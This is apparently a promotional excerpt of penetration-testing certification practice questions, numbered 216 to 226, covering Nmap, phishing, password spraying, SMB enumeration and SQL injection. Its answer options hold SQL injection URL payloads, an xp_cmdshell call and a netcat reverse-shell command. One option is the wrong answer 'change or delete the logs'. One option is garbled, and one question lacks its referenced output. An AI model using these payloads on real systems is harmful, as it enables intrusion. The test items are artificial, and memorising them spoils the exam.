A penetration tester will be performing a vulnerability scan as part of the penetration test on a client's website. The tester plans to run several Nmap scripts that probe for vulnerabilities while avoiding detection. Which of the following Nmap options will the penetration tester MOST likely utilize?

A-а8 -T0
B--script "http*vuln*"
C-sn
D-O -A
Question #216Part 4

A penetration tester discovered that a client uses cloud mail as the company's email system. During the penetration test, the tester set up a fake cloud mail login page and sent all company employees an email that stated their inboxes were full and directed them to the fake login page to remedy the issue. Which of the following BEST describes this attack?

ACredential harvesting
BPrivilege escalation
CPassword spraying
DDomain record abuse
Question #217Part 4

During an assessment, a penetration tester obtains a list of 30 email addresses by crawling the target company's website and then creates a list of possible usernames based on the email address format. Which of the following types of attacks would MOST likely be used to avoid account lockout?

AMask
BRainbow
CDictionary
DPassword spraying
Question #218Part 4

The attacking machine is on the same LAN segment as the target host during an internal penetration test. Which of the following commands will BEST enable the attacker to conduct host discovery and write the discovery to files without returning results of the attack machine?

Anmap -sn -n -exclude 10.1.1.15 10.1.1.0/24 -oA target_txt
Bnmap -iR 10 -n -oX out.xml | grep "Nmap" | cut -d "" -f5 > live-hosts.txt
Cnmap -Pn -sV -O -iL target.txt -oA target_text_Service
Dnmap -sS -Pn -n -iL target.txt -oA target_txt1
Question #219Part 4

Which of the following tools should a penetration tester use to crawl a website and build a wordlist using the data recovered to crack the password on the website?

ADirBuster
BCeWL
Cw3af
DPatator
Question #220Part 4

A penetration tester examines a web-based shopping catalog and discovers the following URL when viewing a product in the catalog: http://company.com/catalog.asp?productid=22 The penetration tester alters the URL in the browser to the following and notices a delay when the page refreshes: http://company.com/catalog.asp?productid=22;WAITFOR DELAY'00:00:05' Which of the following should the penetration tester attempt NEXT?

Ahttp://company.com/catalog.asp?productid=22:EXEC xp_cmdshell 'whoami'
Bhttp://company.com/catalog.asp?productid=22' OR 1=1 --
Chttp://company.com/catalog.asp?productid=22' UNION SELECT 1,2,3 --
Dhttp://company.com/catalog.asp?productid=22;nc 192.168.1.22 4444 -e /bin/bash
Question #221Part 4

The output from a penetration testing tool shows 100 hosts contained findings due to improper patch management. Which of the following did the penetration tester perform?

AA vulnerability scan
BA WHOIS lookup
CA packet capture
DAn Nmap scan
Question #222Part 4

After running the enum4linux.pl command, a penetration tester received the following output: Which of the following commands should the penetration tester run NEXT?

Asmbspool //192.160.100.56/print$
Bnet rpc share -S 192.168.100.56 -U ''
Csmbget //192.168.100.56/web -U ''
Dsmbclient //192.168.100.56/web -U '' -N
Question #223Part 4

During an assessment, a penetration tester gathered OSINT for one of the IT systems administrators from the target company and managed to obtain valuable information, including corporate email addresses. Which of the following techniques should the penetration tester perform NEXT?

ABadge cloning
BWatering-hole attack
CImpersonation
DSpear phishing
Question #224Part 4

Which of the following compliance requirements would be BEST suited in an environment that processes credit card data?

APCI DSS
BISO 27001
CSOX
DGDPR
Question #225Part 4

A penetration tester successfully infiltrated the targeted web server and created credentials with administrative privileges. After conducting data exfiltration, which of the following should be the tester’s NEXT step?

ADetermine what data is available on the web server.
BChange or delete the logs.
CLog out and migrate to a new session.
DLog in as the new user.
Question #226Part 4

A penetration tester analyzed a web-application log file and discovered an input that was sent to the company's web application. The input contains a string that says "WAITFOR." Which of the following attacks is being attempted?

ASQL injection
BHTML injection
CRemote command injection
DDLL injection

📢 Unlock Full Access to Success!

"The content displayed here is a promotional preview and contains only 50% of the actual exam database. To access the complete set of updated questions, please upgrade to the Full Version."

👉 Click the button and follow the instructions to secure your full access immediately!